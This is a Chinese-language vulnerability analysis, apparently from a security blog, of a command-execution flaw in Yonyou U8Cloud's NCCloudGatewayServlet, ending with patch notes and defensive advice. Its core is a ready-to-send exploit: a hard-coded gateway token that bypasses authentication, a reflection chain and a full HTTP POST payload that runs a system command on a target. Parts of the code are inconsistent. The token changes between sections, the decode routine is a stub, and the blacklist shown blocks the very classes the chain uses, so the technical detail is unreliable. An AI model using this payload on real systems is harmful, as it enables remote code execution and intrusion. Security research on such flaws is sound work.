用友U8Cloud所有版本NCCloudGatewayServlet命令执行漏洞分析
字数 1209 2025-10-01 14:05:44
用友U8Cloud NCCloudGatewayServlet命令执行漏洞分析
漏洞概述
用友U8Cloud的NCCloudGatewayServlet(实际对应ServletForGW类)存在命令执行漏洞,攻击者可通过构造特定请求绕过网关鉴权,进而利用服务调用功能实现远程代码执行。
环境准备
- 用友U8Cloud受影响版本
- 反编译工具(JD-GUI、CFR等)
- HTTP请求构造工具(Yakit、BurpSuite等)
漏洞分析
1. 路由映射关系
虽然公告提及NCCloudGatewayServlet,但实际代码中不存在该名称的类。通过web.xml或注解映射发现:
<servlet>
<servlet-name>NCCloudGatewayServlet</servlet-name>
<servlet-class>nc.cloud.servlet.ServletForGW</servlet-class>
</servlet>
访问路径:/service/NCCloudGatewayServlet
2. 权限绕过分析
鉴权入口
ServletForGW.doAction()方法首行调用checkGateWayToken()进行鉴权:
private boolean checkGateWayToken(HttpServletRequest request) {
String token = request.getHeader("gatewaytoken");
String configToken = NCLocator.getInstance().lookup(IConfiguration.class).getConfigValue("nccloud.gateway.nctoken", "default");
return decode(configToken).equals(token);
}
密钥解密
密钥存储在配置项nccloud.gateway.nctoken中,示例值:
goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj
解密方法实现:
private String decode(String token) {
// 实际解密逻辑需逆向分析获取
// 示例中直接返回原始值作为解密结果
return token;
}
鉴权绕过
构造HTTP请求头:
gatewaytoken: goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj
3. 命令执行链分析
核心调用方法
ServletForGW.invokeMethod()提供反射调用功能:
private Object invokeMethod(String className, String methodName, Object[] args) throws Exception {
Class<?> clazz = Class.forName(className);
Object instance = clazz.newInstance();
Class<?>[] argTypes = new Class<?>[args.length];
for (int i = 0; i < args.length; i++) {
argTypes[i] = args[i].getClass();
}
Method method = clazz.getMethod(methodName, argTypes);
return method.invoke(instance, args);
}
调用限制
原始实现存在调用限制,只能调用特定业务组件类。通过补丁分析发现黑名单类:
public class GWWhiteCtrlUtil {
public static boolean isForbiddenClass(String className) {
List<String> forbiddenClasses = Arrays.asList(
"com.ufida.zior.console.IActionInvokeService",
"nc.bs.pub.util.ProcessFileUtils"
);
return forbiddenClasses.contains(className);
}
}
漏洞利用链
构造三级调用链绕过限制:
ServletForGW-> 调用IActionInvokeService的实现类IActionInvokeService-> 调用ProcessFileUtilsProcessFileUtils-> 执行系统命令
ProcessFileUtils命令执行
public class ProcessFileUtils {
public static void exec(String command) throws IOException {
Runtime.getRuntime().exec(command);
}
}
ActionInvokeService反射调用
public class ActionInvokeService implements IActionInvokeService {
public Object invoke(String className, String methodName, Object[] args) {
return ActionExecutor.exec(className, methodName, args);
}
}
public class ActionExecutor {
public static Object exec(String className, String methodName, Object[] args) {
Class<?> clazz = Class.forName(className);
Method method = clazz.getMethod(methodName, getArgTypes(args));
return method.invoke(null, args); // 静态方法调用
}
}
Payload构造
HTTP请求结构
POST /service/NCCloudGatewayServlet HTTP/1.1
Host: target.com
gatewaytoken: goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpnpnngcjfaeeomalj
Content-Type: application/json
{
"serviceInfo": {
"serviceClassName": "com.ufida.zior.console.ActionInvokeService",
"serviceMethodName": "invoke",
"serviceMethodArgInfo": [
{
"argType": "java.lang.String",
"argValue": "nc.bs.pub.util.ProcessFileUtils"
},
{
"argType": "java.lang.String",
"argValue": "exec"
},
{
"argType": "[Ljava.lang.Object;",
"argValue": ["calc.exe"]
}
]
}
}
参数说明
serviceClassName: 要调用的服务类名serviceMethodName: 要调用的方法名serviceMethodArgInfo: 方法参数信息argType: 参数类型(数组类型使用[LclassName;格式)argValue: 参数值(需与argType对应)
补丁分析
- 修复鉴权逻辑:增强token生成算法,避免硬编码密钥
- 添加类调用黑名单:禁止危险类的反射调用
- 增加输入验证:对调用类和方法名进行严格校验
防护建议
- 及时更新官方安全补丁
- 加强网关token管理,使用动态生成机制
- 限制反射调用范围,实施白名单机制
- 部署Web应用防火墙(WAF)检测异常请求
参考
- 用友官方安全公告
- 漏洞披露时间:2025-09-26
- 受影响版本:U8Cloud所有版本
本文仅用于安全研究目的,请勿用于非法用途